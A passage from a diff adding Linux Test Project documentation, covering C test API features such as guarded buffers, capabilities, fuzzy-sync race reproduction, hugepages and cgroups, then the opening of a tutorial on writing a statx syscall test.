with constraints on the kconfig variables. The +boolean expression consits of variables, two binary operations '&' and '|', +negation '!' and correct sequence of parentesis '()'. Variables are expected +to be in a form of "CONFIG_FOO[=bar]". + +The test will continue to run if all expressions are evaluated to 'True'. +Missing variable is mapped to 'False' as well as variable with different than +specified value, e.g. 'CONFIG_FOO=bar' will evaluate to 'False' if the value +is anything else but 'bar'. If config variable is specified as plain +'CONFIG_FOO' it's evaluated to true it's set to any value (typically =y or =m). + +[source,c] +------------------------------------------------------------------------------- +#include "tst_test.h" + +static const char *kconfigs[] = { + "CONFIG_X86_INTEL_UMIP | CONFIG_X86_UMIP", + NULL +}; + +static struct tst_test test = { + ... + .needs_kconfigs = kconfigs, + ... +}; +------------------------------------------------------------------------------- + +1.29 Changing the Wall Clock Time during test execution +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +There are some tests that, for different reasons, might need to change the +system-wide clock time. Whenever this happens, it is imperative that the clock +is restored, at the end of test's execution, taking in consideration the amount +of time elapsed during that test. + +In order for that to happen, struct tst_test has a variable called +"restore_wallclock" that should be set to "1" so LTP knows it should: (1) +initialize a monotonic clock during test setup phase and (2) use that monotonic +clock to fix the system-wide clock time at the test cleanup phase. + +[source,c] +------------------------------------------------------------------------------- +#include "tst_test.h" + +static void setup(void) +{ + ... +} + +static void run(void) +{ + ... +} + +struct tst_test test = { + ... + .setup = setup, + .test_all = run, + .restore_wallclock = 1, + ... +}; +------------------------------------------------------------------------------- + +1.30 Testing similar syscalls in one test +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +In some cases kernel has several very similar syscalls that do either the same +or very similar job. This is most noticeable on i386 where we commonly have +two or three syscall versions. That is because i386 was first platform that +Linux was developed on and because of that most mistakes in API happened there +as well. However this is not limited to i386 at all, it's quite common that +version two syscall has added missing flags parameters or so. + +In such cases it does not make much sense to copy&paste the test code over and +over, rather than that the test library provides support for test variants. +The idea behind test variants is simple, we run the test several times each +time with different syscall variant. + +The implementation consist of test_variants integer that, if set, denotes number +of test variants. The test is then forked and executed test_variants times each +time with different value in global tst_variant variable. + +[source,c] +------------------------------------------------------------------------------- +#include "tst_test.h" + +static int do_foo(void) +{ + switch (tst_variant) { + case 0: + return foo(); + case 1: + return syscall(__NR_foo); + } + + return -1; +} + +static void run(void) +{ + ... + + TEST(do_foo); + + ... +} + +static void setup(void) +{ + switch (tst_variant) { + case 0: + tst_res(TINFO, "Testing foo variant 1"); + break; + case 1: + tst_res(TINFO, "Testing foo variant 2"); + break; + } +} + +struct tst_test test = { + ... + .setup = setup, + .test_all = run, + .test_variants = 2, + ... +}; +------------------------------------------------------------------------------- + +1.31 Guarded buffers +~~~~~~~~~~~~~~~~~~~~ + +The test library supports guarded buffers, which are buffers allocated so +that: + +* The end of the buffer is followed by a PROT_NONE page + +* The remainder of the page before the buffer is filled with random canary + data + +Which means that the any access after the buffer will yield a Segmentation +fault or EFAULT depending on if the access happened in userspace or the kernel +respectively. The canary before the buffer will also catch any write access +outside of the buffer. + +The purpose of the patch is to catch off-by-one bugs which happens when +buffers and structures are passed to syscalls. New tests should allocate +guarded buffers for all data passed to the tested syscall which are passed by +a pointer. + +[source,c] +------------------------------------------------------------------------------- +#include "tst_test.h" + +static struct foo *foo_ptr; +static struct iovec *iov; +static void *buf_ptr; +static char *id; +... + +static void run(void) +{ + ... + + foo_ptr->bar = 1; + foo_ptr->buf = buf_ptr; + + ... +} + +static void setup(void) +{ + ... + + id = tst_strdup(string); + + ... +} + +static struct tst_test test = { + ... + .bufs = (struct tst_buffers []) { + {&foo_ptr, .size = sizeof(*foo_ptr)}, + {&buf_ptr, .size = BUF_SIZE}, + {&iov, .iov_sizes = (int[]){128, 32, -1}, + {} + } +}; +------------------------------------------------------------------------------- + +Guarded buffers can be allocated on runtime in a test setup() by a +'tst_alloc()' or by 'tst_strdup()' as well as by filling up the .bufs array in +the tst_test structure. + +So far the tst_test structure supports allocating either a plain buffer by +setting up the size or struct iovec, which is allocated recursively including +the individual buffers as described by an '-1' terminated array of buffer +sizes. + +1.32 Adding and removing capabilities +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +Some tests may require the presence or absence of particular +capabilities. Using the API provided by 'tst_capability.h' the test author can +try to ensure that some capabilities are either present or absent during the +test. + +For example; below we try to create a raw socket, which requires +CAP_NET_ADMIN. During setup we should be able to do it, then during run it +should be impossible. The LTP capability library will check before setup that +we have this capability, then after setup it will drop it. + +[source,c] +-------------------------------------------------------------------------------- +#include "tst_test.h" +#include "tst_capability.h" +#include "tst_safe_net.h" + +#include "lapi/socket.h" + +static void run(void) +{ + TEST(socket(AF_INET, SOCK_RAW, 1)); + if (TST_RET > -1) { + tst_res(TFAIL, "Created raw socket"); + } else if (TST_ERR != EPERM) { + tst_res(TFAIL | TTERRNO, + "Failed to create socket for wrong reason"); + } else { + tst_res(TPASS | TTERRNO, "Didn't create raw socket"); + } +} + +static void setup(void) +{ + TEST(socket(AF_INET, SOCK_RAW, 1)); + if (TST_RET < 0) + tst_brk(TCONF | TTERRNO, "We don't have CAP_NET_RAW to begin with"); + + SAFE_CLOSE(TST_RET); +} + +static struct tst_test test = { + .setup = setup, + .test_all = run, + .caps = (struct tst_cap []) { + TST_CAP(TST_CAP_REQ, CAP_NET_RAW), + TST_CAP(TST_CAP_DROP, CAP_NET_RAW), + {} + }, +}; +-------------------------------------------------------------------------------- + +Look at the test struct at the bottom. We have filled in the 'caps' field with +a 'NULL' terminated array containing two 'tst_cap' structs. 'TST_CAP_REQ' +actions are executed before setup and 'TST_CAP_DROP' are executed after +setup. This means it is possible to both request and drop a capability. + +[source,c] +-------------------------------------------------------------------------------- +static struct tst_test test = { + .test_all = run, + .caps = (struct tst_cap []) { + TST_CAP(TST_CAP_REQ, CAP_NET_RAW), + TST_CAP(TST_CAP_DROP, CAP_SYS_ADMIN), + {} + }, +}; +-------------------------------------------------------------------------------- + +Here we request 'CAP_NET_RAW', but drop 'CAP_SYS_ADMIN'. If the capability is +in the permitted set, but not the effective set, the library will try to +permit it. If it is not in the permitted set, then it will fail with 'TCONF'. + +This API does not require 'libcap' to be installed. However it has limited +features relative to 'libcap'. It only tries to add or remove capabilities +from the effective set. This means that tests which need to spawn child +processes may have difficulties ensuring the correct capabilities are +available to the children (see the capabilities (7) manual pages). + +However a lot of problems can be solved by using 'tst_cap_action(struct +tst_cap *cap)' directly which can be called at any time. This also helps if +you wish to drop a capability at the beginning of setup. + +1.33 Reproducing race-conditions +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +If a bug is caused by two tasks in the kernel racing and you wish to create a +regression test (or bug-fix validation test) then the 'tst_fuzzy_sync.h' +library should be used. + +It allows you to specify, in your code, two race windows. One window in each +thread's loop (triggering a race usually requires many iterations). These +windows show fuzzy-sync where the race can happen. They don't need to be +exact, hence the 'fuzzy' part. If the race condition is not immediately +triggered then the library will begin experimenting with different timings. + +[source,c] +-------------------------------------------------------------------------------- +#include "tst_fuzzy_sync.h" + +static struct tst_fzsync_pair fzsync_pair; + +static void setup(void) +{ + tst_fzsync_pair_init(&fzsync_pair); +} + +static void cleanup(void) +{ + tst_fzsync_pair_cleanup(&fzsync_pair); +} + +static void *thread_b(void *arg) +{ + while (tst_fzsync_run_b(&fzsync_pair)) { + + tst_fzsync_start_race_b(&fzsync_pair); + + /* This is the race window for thread B */ + + tst_fzsync_end_race_b(&fzsync_pair); + } + + return arg; +} + +static void thread_a(void) +{ + tst_fzsync_pair_reset(&fzsync_pair, thread_b); + + while (tst_fzsync_run_a(&fzsync_pair)) { + + tst_fzsync_start_race_a(&fzsync_pair); + + /* This is the race window for thread A */ + + tst_fzsync_end_race_a(&fzsync_pair); + } +} + +static struct tst_test test = { + .test_all = thread_a, + .setup = setup, + .cleanup = cleanup, +}; +-------------------------------------------------------------------------------- + +Above is a minimal template for a test using fuzzy-sync. In a simple case, you +just need to put the bits you want to race inbetween 'start_race' and +'end_race'. Meanwhile, any setup you need to do per-iteration goes outside the +windows. + +Fuzzy sync synchronises 'run_a' and 'run_b', which act as barriers, so that +neither thread can progress until the other has caught up with it. There is +also the 'pair_wait' function which can be used to add barriers in other +locations. Of course 'start/end_race_a/b' are also a barriers. + +The library decides how long the test should run for based on the timeout +specified by the user plus some other heuristics. + +For full documentation see the comments in 'include/tst_fuzzy_sync.h'. + +1.34 Reserving hugepages +~~~~~~~~~~~~~~~~~~~~~~~~ + +Many of the LTP tests need to use hugepage in their testing, this allows the +test can reserve hugepages from system via '.hugepages = {xx, TST_REQUEST}'. + +We achieved two policies for reserving hugepages: + +TST_REQUEST: + It will try the best to reserve available huge pages and return the number + of available hugepages in tst_hugepages, which may be 0 if hugepages are + not supported at all. + +TST_NEEDS: + This is an enforced requirement, LTP should strictly do hpages applying and + guarantee the 'HugePages_Free' no less than pages which makes that test can + use these specified numbers correctly. Otherwise, test exits with TCONF if + the attempt to reserve hugepages fails or reserves less than requested. + +With success test stores the reserved hugepage number in 'tst_hugepages'. For +system without hugetlb supporting, variable 'tst_hugepages' will be set to 0. +If the hugepage number needs to be set to 0 on supported hugetlb system, please +use '.hugepages = {TST_NO_HUGEPAGES}'. + +Also, we do cleanup and restore work for the hpages resetting automatically. + +[source,c] +------------------------------------------------------------------------------- +#include "tst_test.h" + +static void run(void) +{ + ... + + if (tst_hugepages == test.hugepages.number) + TEST(do_hpage_test); + else + ... + ... +} + +struct tst_test test = { + .test_all = run, + .hugepages = {2, TST_REQUEST}, + ... +}; +------------------------------------------------------------------------------- + +or, + +[source,c] +------------------------------------------------------------------------------- +#include "tst_test.h" + +static void run(void) +{ + ... +} + +static void setup(void) +{ + /* TST_NEEDS achieved this automatically in the library */ + if (tst_hugepages != test.hugepages.number) + tst_brk(TCONF, "..."); +} + +struct tst_test test = { + .test_all = run, + .hugepages = {2, TST_NEEDS}, + ... +}; +------------------------------------------------------------------------------- + +1.35 Checking for required commands +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +Required commands can be checked with '.needs_cmds', which points to a 'NULL' +terminated array of strings such as: + +[source,c] +------------------------------------------------------------------------------- +.needs_cmds = (const char *const []) { + "useradd", + "userdel", + NULL +}, +------------------------------------------------------------------------------- + +Also can check required command version whether is satisfied by using 'needs_cmds' +such as: + +[source,c] +------------------------------------------------------------------------------- +.needs_cmds = (const char *const []) { + "mkfs.ext4 >= 1.43.0", + NULL +}, +------------------------------------------------------------------------------- + +Currently, we only support mkfs.ext4 command version check. +If you want to support more commands, please fill your own .parser and .table_get +method in the version_parsers structure of lib/tst_cmd.c. + +1.36 Assert sys or proc file value +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ +Using TST_ASSERT_INT/STR(path, val) to assert that integer value or string stored in +the prefix field of file pointed by path equals to the value passed to this function. + +Also having a similar api pair TST_ASSERT_FILE_INT/STR(path, prefix, val) to assert +the field value of file. + +1.37 Using Control Group +~~~~~~~~~~~~~~~~~~~~~~~~ + +Some LTP tests need specific Control Group configurations. 'tst_cgroup.h' +provides APIs to discover and use CGroups. There are many differences between +CGroups API V1 and V2. We encapsulate the details of configuring CGroups in +high-level functions which follow the V2 kernel API where possible. Allowing one +to write code that works on both V1 or V2. At least some of the time anyway; +often the behavioural differences between V1 and V2 are too great. In such cases +we revert to branching on the CGroup version. + +Also, the LTP library will automatically mount/umount and configure the CGroup +hierarchies if that is required (e.g. if you run the tests from init with no +system manager). + +[source,c] +------------------------------------------------------------------------------- +#include "tst_test.h" + +static void run(void) +{ + ... + // do test under cgroup + ... +} + +static void setup(void) +{ + SAFE_CG_PRINTF(tst_cg, "cgroup.procs", "%d", getpid()); + SAFE_CG_PRINTF(tst_cg, "memory.max", "%lu", MEMSIZE); + if (SAFE_CG_HAS(tst_cg, "memory.swap.max")) + SAFE_CG_PRINTF(tst_cg, "memory.swap.max", "%zu", memsw); +} + +struct tst_test test = { + .setup = setup, + .test_all = run, + .cleanup = cleanup, + .needs_cgroup_ctrls = (const char *const []){ "memory", NULL }, + ... +}; +------------------------------------------------------------------------------- + +Above, we first ensure the memory controller is available on the +test's CGroup with '.needs_cgroup_ctrls'. This populates a structure, +'tst_cg', which represents the test's CGroup. + +We then write the current processes PID into 'cgroup.procs', which +moves the current process into the test's CGroup. After which we set +the maximum memory size by writing to 'memory.max'. If the memory +controller is mounted on CGroups V1 then the library will actually +write to 'memory.limit_in_bytes'. As a general rule, if a file exists +on both CGroup versions, then we use the V2 naming. + +Some controller features, such as 'memory.swap', can be +disabled. Therefor we need to check if they exist before accessing +them. This can be done with 'SAFE_CG_HAS' which can be called on +any control file or feature. + +Most tests only require setting a few limits similar to the above. In +such cases the differences between V1 and V2 are hidden. Setup and +cleanup is also mostly hidden. However things can get much worse. + +[source,c] +------------------------------------------------------------------------------- +static struct tst_cg_group *cg_child; + +static void run(void) +{ + char buf[BUFSIZ]; + size_t mem = 0; + + cg_child = tst_cg_group_mk(tst_cg, "child"); + SAFE_CG_PRINTF(cg_child, "cgroup.procs", "%d", getpid()); + + if (!TST_CG_VER_IS_V1(tst_cg, "memory")) + SAFE_CG_PRINT(tst_cg, "cgroup.subtree_control", "+memory"); + if (!TST_CG_VER_IS_V1(tst_cg, "cpuset")) + SAFE_CG_PRINT(tst_cg, "cgroup.subtree_control", "+cpuset"); + + if (!SAFE_FORK()) { + SAFE_CG_PRINTF(cg_child, "cgroup.procs", "%d", getpid()); + + if (SAFE_CG_HAS(cg_child, "memory.swap")) { + SAFE_CG_SCANF(cg_child, + "memory.swap.current", "%zu", &mem); + } + SAFE_CG_READ(cg_child, "cpuset.mems", buf, sizeof(buf)); + + // Do something with cpuset.mems and memory.current values + ... + + exit(0); + } + + tst_reap_children(); + SAFE_CG_PRINTF(tst_cg_drain, "cgroup.procs", "%d", getpid()); + cg_child = tst_cg_group_rm(cg_child); +} + +static void cleanup(void) +{ + if (cg_child) { + SAFE_CG_PRINTF(tst_cg_drain, "cgroup.procs", "%d", getpid()); + cg_child = tst_cg_group_rm(cg_child); + } +} + +struct tst_test test = { + .setup = setup, + .test_all = run, + .needs_cgroup_ctrls = (const char *const []){ + "cpuset", + "memory", + NULL + }, + ... +}; +------------------------------------------------------------------------------- + +Starting with setup; we can see here that we fetch the 'drain' +CGroup. This is a shared group (between parallel tests) which may +contain processes from other tests. It should have default settings +and these should not be changed by the test. It can be used to remove +processes from other CGroups incase the hierarchy root is not +accessible. + +Note that 'tst_cg_get_drain_group' should not be called many times, +as it is allocated in a guarded buffer (See section 2.2.31). Therefor +it is best to call it once in 'setup' and not 'run' because 'run' may +be repeated with the '-i' option. + +In 'run', we first create a child CGroup with 'tst_cg_mk'. As we +create this CGroup in 'run' we should also remove it at the end of +run. We also need to check if it exists and remove it in cleanup as +well. Because there are 'SAFE_' functions which may jump to cleanup. + +We then move the main test process into the child CGroup. This is +important as it means that before we destroy the child CGroup we have +to move the main test process elsewhere. For that we use the 'drain' +group. + +Next we enable the memory and cpuset controller configuration on the +test CGroup's descendants (i.e. 'cg_child'). This allows each child to +have its own settings. The file 'cgroup.subtree_control' does not +exist on V1. Because it is possible to have both V1 and V2 active at +the same time. We can not simply check if 'subtree_control' exists +before writing to it. We have to check if a particular controller is +on V2 before trying to add it to 'subtree_control'. Trying to add a V1 +controller will result in 'ENOENT'. + +We then fork a child process and add this to the child CGroup. Within +the child process we try to read 'memory.swap.current'. It is possible +that the memory controller was compiled without swap support, so it is +necessary to check if 'memory.swap' is enabled. That is unless the +test will never reach the point where 'memory.swap.*' are used without +swap support. + +The parent process waits for the child process to be reaped before +destroying the child CGroup. So there is no need to transfer the child +to drain. However the parent process must be moved otherwise we will +get 'EBUSY' when trying to remove the child CGroup. + +Another example of a behavioral difference between versions is shown below. + +[source,c] +------------------------------------------------------------------------------- + if (TST_CG_VER_IS_V1(tst_cg, "memory")) + SAFE_CG_PRINTF(tst_cg, "memory.swap.max", "%lu", ~0UL); + else + SAFE_CG_PRINT(tst_cg, "memory.swap.max", "max"); +------------------------------------------------------------------------------- + +CGroups V2 introduced a feature where 'memory[.swap].max' could be set to +"max". This does not appear to work on V1 'limit_in_bytes' however. For most +tests, simply using a large number is sufficient and there is no need to use +"max". Importantly though, one should be careful to read both the V1 and V2 +kernel docs. Presently the LTP library does not attempt to handle most +differences in semantics. It does the minimal amount of work to make testing on +both V1 and V2 feasible. + +1.38 Require minimum numbers of CPU for a testcase +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +Some tests require more than specific number of CPU. It can be defined with +`.min_cpus = N`. + +1.39 Require minimum memory or swap size for a testcase +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +Some tests require at least size(MB) of free RAM or Swap. + +To make sure that test will run only on systems with more than minimal +required amount of RAM set `.min_mem_avail = N`. + +Similarily for tests that require certain amount of free Swap use +`.min_swap_avail = N`. + +1.40 Test tags +~~~~~~~~~~~~~~ + +Test tags are name-value pairs that can hold any test metadata. + +We have additional support for CVE entries, git commit in mainline kernel, +stable kernel or glibc git repository. If a test is a regression test it +should include these tags. They are printed when test fails and exported +into documentation. + +CVE, mainline and stable kernel git commits in a regression test for a kernel bug: +[source,c] +------------------------------------------------------------------------------- +struct tst_test test = { + ... + .tags = (const struct tst_tag[]) { + {"linux-git", "9392a27d88b9"}, + {"linux-git", "ff002b30181d"}, + {"known-fail", "ustat() is known to fail with EINVAL on Btrfs"}, + {"linux-stable-git", "c4a23c852e80"}, + {"CVE", "2020-29373"}, + {} + } +}; +------------------------------------------------------------------------------- + +NOTE: We don't track all backports to stable kernel but just those which are + stable branch specific (unique), i.e. no commit in mainline. Example of + commits: c4a23c852e80, cac68d12c531. + +Glibc and musl git commits in a regression test for glibc and musl bugs: +[source,c] +------------------------------------------------------------------------------- +struct tst_test test = { + ... + .tags = (const struct tst_tag[]) { + {"glibc-git", "574500a108be"}, + {"musl-git", "fa4a8abd06a4"}, + {} + } +}; +------------------------------------------------------------------------------- + +1.41 Testing on the specific architecture +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ +Testcases for specific arch should be limited on that only being supported +platform to run, we now involve a '.supported_archs' to achieve this feature +in LTP library. All you need to run a test on the expected arch is to set +the '.supported_archs' array in the 'struct tst_test' to choose the required +arch list. e.g. + + .supported_archs = (const char *const []){"x86_64", "ppc64", NULL} + +This helps move the TCONF info from code to tst_test metadata as well. + +And, we also export a struct tst_arch to save the system architecture for +using in the whole test cases. + + extern const struct tst_arch { + char name[16]; + enum tst_arch_type type; + } tst_arch; + +[source,c] +------------------------------------------------------------------------------- +#include "tst_test.h" + +static struct tst_test test = { + ... + .setup = setup, + .supported_archs = (const char *const []) { + "x86_64", + "ppc64", + "s390x", + NULL + }, +}; +------------------------------------------------------------------------------- + +1.42 Skipping test based on system state +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ +Test can be skipped on various conditions: on enabled SecureBoot +('.skip_in_secureboot = 1'), lockdown ('.skip_in_lockdown = 1') or in 32-bit +compat mode ('.skip_in_compat = 1'). + +2. Common problems +------------------ + +This chapter describes common problems/misuses and less obvious design patters +(quirks) in UNIX interfaces. Read it carefully :) + +2.1 umask() +~~~~~~~~~~~ + +I've been hit by this one several times already... When you create files +with 'open()' or 'creat()' etc, the mode specified as the last parameter *is +not* the mode the file is created with. The mode depends on current 'umask()' +settings which may clear some of the bits. If your test depends on specific +file permissions you need either to change umask to 0 or 'chmod()' the file +afterwards or use 'SAFE_TOUCH()' that does the 'chmod()' for you. + +2.2 access() +~~~~~~~~~~~~ + +If 'access(some_file, W_OK)' is executed by root, it will return success even +if the file doesn't have write permission bits set (the same holds for R_OK +too). For sysfs files you can use 'open()' as a workaround to check file +read/write permissions. It might not work for other filesystems, for these you +have to use 'stat()', 'lstat()' or 'fstat()'. + +2.3 umount() EBUSY +~~~~~~~~~~~~~~~~~~ + +Various desktop daemons (gvfsd-trash is known for that) may be stupid enough +to probe all newly mounted filesystem which results in 'umount(2)' failing +with 'EBUSY'; use 'tst_umount()' described in 1.19 that retries in this case +instead of plain 'umount(2)'. + +2.4 FILE buffers and fork() +~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +Be vary that if a process calls 'fork(2)' the child process inherits open +descriptors as well as copy of the parent memory so especially if there are +any open 'FILE' buffers with a data in them they may be written both by the +parent and children resulting in corrupted/duplicated data in the resulting +files. + +Also open 'FILE' streams are flushed and closed at 'exit(3)' so if your +program works with 'FILE' streams, does 'fork(2)', and the child may end up +calling 'exit(3)' you will likely end up with corrupted files. + +The solution to this problem is either simply call 'fflush(NULL)' that flushes +all open output 'FILE' streams just before doing 'fork(2)'. You may also use +'_exit(2)' in child processes which does not flush 'FILE' buffers and also +skips 'atexit(3)' callbacks. diff --git a/doc/C-Test-Case-Tutorial.asciidoc b/doc/C-Test-Case-Tutorial.asciidoc new file mode 100644 index 00000000..07a61f4e --- /dev/null +++ b/doc/C-Test-Case-Tutorial.asciidoc @@ -0,0 +1,1079 @@ +C Test Case Tutorial +==================== + +NOTE: See also + https://github.com/linux-test-project/ltp/wiki/Test-Writing-Guidelines[Test Writing Guidelines], + https://github.com/linux-test-project/ltp/wiki/C-Test-API[C Test API]. + +This is a step-by-step tutorial on writing a simple C LTP test, where topics +of the LTP and Linux kernel testing will be introduced gradually using a +concrete example. Most sections will include exercises, some trivial and +others not so much. If you find an exercise is leading you off at too much of +a tangent, just leave it for later and move on. + +LTP tests can be written in C or Shell script. This tutorial is only for tests +written in C using the new LTP test API. Note that while we go into some +detail on using Git, this is not intended as a canonical or complete guide +for Git. + +0. Assumptions & Feedback +------------------------- + +We assume the reader is familiar with C, Git and common Unix/Linux/GNU tools +and has some general knowledge of Operating Systems. Experienced Linux +developers may find it too verbose while people new to system level Linux +development may find it overwhelming. + +Comments and feedback are welcome, please direct them to +https://lists.linux.it/listinfo/ltp[the mailing list]. + +1. Getting Started +------------------ + +Git-clone the main LTP repository as described in +https://github.com/linux-test-project/ltp#quick-guide-to-running-the-tests[the +README.md+] +and change directory to the checked-out Git repository. We recommend installing the LTP +and running one of the tests mentioned in the Quick guide (in the +README.md+) to +ensure you are starting from a good state. + +We also recommended cloning the Linux kernel repository for reference, this +guide will refer to files and directories within the mainline kernel 4.12. + +[source,shell] +------------------------------------------------------------------------------ +$ git clone git://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git +------------------------------------------------------------------------------ + +There are a number of other repositories which are useful for reference as +well, including the GNU C library +glibc+ and the alternative C library ++musl+. Some system calls are partially or even entirely implemented in user +land as part of the standard C library. So in these cases, the C library is an +important reference. +glibc+ is the most common C library for Linux, however ++musl+ is generally easier to understand. + +How system calls are implemented varies from one architecture to another and +across kernel and C library versions. To find out whether a system call is +actually accessing the kernel (whether it is actually a system call) on any +given machine you can use the +strace+ utility. This intercepts system calls +made by an executable and prints them. We will use this later in the tutorial. + +2. Choose a System Call to test +------------------------------- + +We will use the +statx()+ system call, to provide a concrete example of a +test. At the time of writing there is no test for this call which was +introduced in Linux kernel version 4.11. + +Linux system call specific tests are primarily contained in ++testcases/kernel/syscalls+, but you should also +git grep+ the entire LTP +repository to check for any existing usages of a system call. + +One way to find a system call which is not currently tested by the LTP is to +look at +include/linux/syscalls.h+ in the kernel tree. + +Something the LTP excels at is ensuring bug-fixes are back ported to +maintenance releases, so targeting a specific regression is another +option. + +2.1. Find an untested System call +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +Try to find an untested system call which has a manual page (i.e. +man +syscall+ produces a result). It is a good idea to Git-clone the latest kernel +man-pages repository. + +[source,shell] +------------------------------------------------------------------------------ +$ git clone git://git.kernel.org/pub/scm/docs/man-pages/man-pages.git +------------------------------------------------------------------------------ + +At the time of writing the difference between the latest man-pages release and +the +HEAD+ of the repository (usually the latest commit) is well over 100 +commits. This represents about 9 weeks of changes. If you are using a stable +Linux distribution, your man-pages package may well be years old. So as with +the kernel, it is best to have the Git repository as a reference. + +You could also find a system call with untested parameters or use whatever it +is you are planning to use the LTP for. + +3. Create the test skeleton +--------------------------- + +I shall call my test +statx01.c+, by the time you read this that file name +will probably be taken, so increment the number in the file name as +appropriate or replace +statx+ with the system call chosen in exercise 2.1. + +[source,shell] +------------------------------------------------------------------------------ +$ mkdir testcases/kernel/syscalls/statx +$ cd testcases/kernel/syscalls/statx +$ echo statx >> .gitignore +------------------------------------------------------------------------------ + +Next open +statx01.c+ and add the following boilerplate. Make sure to change +the copy right notice to your name/company, correct the test name and minimum +kernel version if necessary. I will explain what the code does below. + +[source,c] +------------------------------------------------------------------------------ +// SPDX-License-Identifier: GPL-2.0-or-later +/* + * Copyright (c) 2017 Instruction Ignorer <"can't"@be.bothered.com> + */ + +/*\ + * [Description] + * + * All tests should start with a description of _what_ we are testing. + * Non-trivial explanations of _how_ the code works should also go here. + * Include relevant links, Git commit hashes and CVE numbers. + * Inline comments should be avoided. + */ + +#include "tst_test.h" + +static void run(void) +{ + tst_res(TPASS, "Doing hardly anything is easy"); +} + +static struct tst_test test = { + .test_all = run, + .min_kver = "4.11", +}; +------------------------------------------------------------------------------ + +Starting with the +#include+ statement we copy in the main LTP test library +headers. This includes the most common test API functions and the test harness +initialisation code. It is important to note that this is a completely +ordinary, independent C program, however +main()+ is missing because it is +implemented in +tst_test.h+. + +We specify what code we want to run as part of the test using the +tst_test +test+ structure. Various callbacks can be set by the test writer, including ++test.test_all+, which we have set to +run()+. The test harness will execute +this callback in a separate process (using +fork()+), forcibly terminating it +if it does not return after +test.timeout+ seconds. + +We have also set +test.min_kver+ to the kernel version where +statx+ was +introduced. The test library will determine the kernel version at runtime. If +the version is less than 4.11 then the test harness will return +TCONF+, +indicating that this test is not suitable for the current system +configuration. + +Occasionally features are back ported to older kernel versions, so +statx+ may +exist on kernels with a lower version. However we don't need to worry about +that unless there is evidence of it happening. + +As mentioned in the code itself, you should specify what you are testing and +the expected outcome, even if it is relatively simple. If your program flow is +necessarily complex and difficult to understand (which is often the case when +trying to manipulate the kernel into doing something bad), then a detailed +explanation of how the code works is welcome. + +What you should not do, is use inline comments or include the same level of +explanation which is written here. As a general rule, if something is easy to +document, then the code should also be easy to read. So don't document the easy +stuff (except for the basic test specification). + +Before continuing we should compile this and check that the basics work. In +order to compile the test we need a +Makefile+ in the same subdirectory. If +one already exists, then nothing needs to be done, otherwise add one with the +following contents. + +[source,make] +------------------------------------------------------------------------------ +# SPDX-License-Identifier: GPL-2.0-or-later +# Copyright (c) 2019 Linux Test Project + +top_srcdir ?= ../../../.. + +include $(top_srcdir)/include/mk/testcases.mk + +include $(top_srcdir)/include/mk/generic_leaf_target.mk + +------------------------------------------------------------------------------ + +This will automatically add +statx01.c+ as a build target producing a ++statx01+ executable. Unless you have heavily deviated from the tutorial, and +probably need to change +top_srcdir+, nothing else needs to be done. + +Normally, if you were starting a Makefile from scratch, then you would need to +add +statx01+ as a build target. Specifying that you would like to run some +program (e.g. +gcc+ or +clang+) to transform +statx01.c+ into +statx01+. Here +we don't need to do that, but sometimes it is still necessary. For example, if +we needed to link to the POSIX threading library, then we could add the +following line after +testcases.mk+. + +[source,make] +-------------------------------------------------------------------------------- +statx01: CFLAGS += -pthread +-------------------------------------------------------------------------------- + +Assuming you are in the test's subdirectory +testcases/kernel/syscalls/statx+, +do + +[source,shell] +-------------------------------------------------------------------------------- +$ make +$ ./statx01 +-------------------------------------------------------------------------------- + +This should build the test and then run it. However, even though the test is +in the +syscalls+ directory it won't be automatically ran as part of the +_syscalls_ test group (remember +./runltp -f syscalls+ from the +README.md+?). For +this we need to add it to the +runtest+ file. So open +runtest/syscalls+ and add +the lines starting with a +++. + +[source,diff] +-------------------------------------------------------------------------------- + statvfs01 statvfs01 + statvfs02 statvfs02 + ++statx01 statx01 ++ + stime01 stime01 + stime02 stime02 + +-------------------------------------------------------------------------------- + +The +runtest+ files are in a two column format. The first column is the test +name, which is mainly used by test runners for reporting and filtering. It is +just a single string of text with no spaces. The second column, which can +contain spaces, is passed to the shell in order to execute the test. Often it +is just the executable name, but some tests also take arguments (the LTP has a +library for argument parsing, by the way). + +If you haven't done so already, we should add all these new files to Git. It +is vitally important that you do not make changes to the master branch. If you +do then pulling changes from upstream becomes a major issue. So first of all +create a new branch. + +[source,shell] +-------------------------------------------------------------------------------- +$ git checkout -b statx01 master +-------------------------------------------------------------------------------- + +Now we want to add the files we have created or modified, but before doing a +commit make sure you have configured Git correctly. You need to at least set +your Name and e-mail address in +~/.gitconfig+, but there are some other +settings which come in handy too. My relatively simple configuration is similar to +the below + +[source,conf] +-------------------------------------------------------------------------------- +[user] + name = Sarah Jane + email = sjane@e-mail.address +[core] + editor = emacs +[sendemail] + smtpServer = smtp.server.address +-------------------------------------------------------------------------------- + +Obviously you need to at least change your name and e-mail. The SMTP server is +useful for +git send-email+, which we will discuss later. The editor value is +used for things like writing commits (without the +-m+ option). + +[source,shell] +-------------------------------------------------------------------------------- +$ git add -v :/testcases/kernel/syscalls/statx :/runtest/syscalls +$ git commit -m "statx01: Add new test for statx syscall" +-------------------------------------------------------------------------------- + +This should add all the new files in the +statx+ directory and the +runtest+ +file. It is good practice to commit early and often. Later on we will do a +Git-rebase, which allows us to clean up the commit history. So don't worry +about how presentable your commit log is for now. Also don't hesitate to +create a new branch when doing the exercises or experimenting. This will allow +you to diverge from the tutorial and then easily come back again. + +I can't emphasize enough that Git makes things easy through branching and that +things quickly get complicated if you don't do it. However if you do get into +a mess, Git-reflog and Git-reset, will usually get you out of it. If you also +mess that up then it may be possible to cherry pick 'dangling' commits out of +the database into a branch. + +3.1 Report TCONF instead of TPASS 